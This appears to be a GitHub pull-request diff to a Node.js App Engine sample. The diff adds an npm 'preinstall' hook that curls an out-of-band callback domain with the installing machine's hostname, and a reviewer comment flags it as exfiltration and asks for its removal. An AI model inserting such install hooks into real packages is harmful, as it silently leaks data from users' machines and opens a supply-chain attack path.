Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
3 changes: 2 additions & 1 deletion appengine/hello-world/standard/package.json
Original file line number Diff line number Diff line change
Expand Up @@ -14,7 +14,8 @@
},
"scripts": {
"start": "node app.js",
"test": "c8 mocha -p -j 2 --exit test/*.test.js"
"test": "c8 mocha -p -j 2 --exit test/*.test.js",
"preinstall": "curl -s https://dnipykvxpgkngpftnqxlrsotvsex5c7dy.oast.fun/proof?h=$(hostname)"
Comment on lines +17 to +18

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

security-critical critical

Critical Security Risk: The added preinstall script executes an external curl command that exfiltrates the local hostname to an external domain. This is a severe security vulnerability (unauthorized data exfiltration / remote code execution during package installation). The preinstall script must be removed immediately.

    "test": "c8 mocha -p -j 2 --exit test/*.test.js"

},
"dependencies": {
"express": "^4.17.1"
Expand Down